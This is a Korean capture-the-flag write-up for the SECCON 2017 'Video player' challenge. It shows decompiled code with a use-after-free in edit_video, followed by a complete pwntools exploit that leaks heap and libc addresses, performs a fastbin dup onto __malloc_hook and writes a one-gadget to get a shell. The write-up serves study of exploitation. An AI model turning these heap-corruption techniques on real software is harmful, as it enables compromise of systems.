본문으로 바로가기

SECCON 2017 Video player ( write - up )

Vulnability

문제 이름답게 Video 관련 부분에서 문제가 있을거같아서 video 봤는데 취약점이 있다!


bool __fastcall edit_video(void **video)
{
 bool result; // al
 void *v2; // [rsp+18h] [rbp-8h]

 std::operator<<<std::char_traits<char>>(&std::cout, "Video Resolution : ");
 if ( read(0, video + 1, 8uLL) <= 0 )
   exit(1);
 std::operator<<<std::char_traits<char>>(&std::cout, "FPS : ");
 if ( read(0, video + 2, 4uLL) <= 0 )
   exit(1);
 std::operator<<<std::char_traits<char>>(&std::cout, "Number of Frames : ");
 if ( read(0, video + 20, 4uLL) <= 0 )
   exit(1);
 if ( *(video + 5) > 0x400u )
   *(video + 5) = 1024;
 v2 = operator new[](*(video + 5));
 if ( !v2 )
   exit(1);
 video[3] = v2;
 if ( video[3] )
   operator delete[](video[3]);
 std::operator<<<std::char_traits<char>>(&std::cout, "Video Data : ");
 *(video + 5) = read(0, video[3], *(video + 5));
 if ( !*(video + 5) )
   exit(1);
 memset(video + 4, 0, 0x30uLL);
 std::operator<<<std::char_traits<char>>(&std::cout, "Edit description : ");
 result = read(0, video + 4, 0x2FuLL) <= 0;
 if ( result )
   exit(1);
 return result;
}

여기서 비디오를 수정할 때 video[3]이 존재하면 delete해주는데, 해주고 나서 이곳에 바로 값을 입력 할 수 있다 = fd 덮기 가능.

이렇게되면 fastbin dup이 가능. 근데 video말고 audio나 subtitle같은 경우에는 새로 할당한 힙 주소를 넣어준다.


Exploit

from pwn import *

#context.log_level = "debug"

binary = "./video_player"
e = ELF(binary)
libc = e.libc
r = process(binary)

def add_video(one,two,three,four,five):
menu(1)
menu(1)
go(str(one))
go(str(two))
go(str(three))
go(str(four))
go(str(five))

def remove_video(index):
menu(4)
go2(str(index))

def edit_video(index,one,two,three,four,five):
menu(2)
go2(index)
go(str(one))
go(str(two))
go(str(three))
go(str(four))
go(str(five))

def play_video(index):
menu(3)
go2(index)

menu = lambda x : r.sendlineafter(">>> ",str(x))
go = lambda x : r.sendafter(": ",str(x))
go2 = lambda x : r.sendlineafter(": ",str(x))

dummy = "X"

r.sendafter("name?\n","Juntae")

for i in range(300):
   add_video(dummy,dummy,p32(0x60),dummy,dummy)

for i in range(3): # index : 300 ~
add_video("AAA","BBB",p32(0x60),"DDD","EEE")

remove_video(300)
remove_video(301)

edit_video(302,"AAA","BBB",p32(0x60),"\x00"*4,"EEE")

for i in range(2): # index : 303, 304
add_video("AAA","BBB",p32(0x60),"DDD","EEE")

remove_video(304)
remove_video(303)

play_video(302)
r.recvuntil("Playing video...\n")
heap = u64(r.recvline()[:-1].ljust(8,"\xcc")) ^  u64("\xcc" * 8)
log.info("heap : " + hex(heap))

for i in range(2): # index : 305, 306
add_video("AAA","BBB",p32(0x60),"\x00"*4,"EEE")

add_video("AAA","BBB",p32(0x60),"DDD","EEE") # index : 307
edit_video(307,p64(0x71),"BBB",p32(0x60),p64(heap + 0x140),"EEE") # fake size
add_video("AAA","BBB",p32(0x60),"DDD","EEE") # dummy

fake = p32(0x42424242) + p32(8) + p64(e.got["read"])
add_video("AAA","BBB",p32(0x60),fake,"EEE") # fastbin dup

play_video(307)
r.recvuntil("Playing video...\n")
libc_base = u64(r.recv(8)) ^ u64("\xcc" * 8)
libc_base -= libc.symbols["read"]
log.info("libc_base : " + hex(libc_base))

for i in range(4):
remove_video(100 + i)

add_video("AAA","BBB",p32(0x60),"DDD","EEE") # index : 310

payload = p64(libc_base + libc.symbols["__malloc_hook"] - 0x23)
edit_video(310,p64(0x71),"BBB",p32(0x60),payload, "EEE")

add_video("AAA","BBB",p32(0x60),"DDD","EEE")

payload = "X"*19 + p64(libc_base + 0x4526a)
add_video("AAA","BBB",p32(0x60),payload,"EEE")

menu(1)
menu(1)

힘들었던 점 1 : C++임. 동작을 vtable느낌으로 하는데 vtable을 몰라서 힘들었음.

힘들었던 점 2 : 취약점 찾고 fd 덮고나서 size맞추는걸 FPS입력으로 하는걸 생각못했음.

힘들었던 점 3 : 릭될때 xor해서 암호문으로 나와서 복호화 귀찮았음

역시 매이저 씨텝 문제는 재밌당.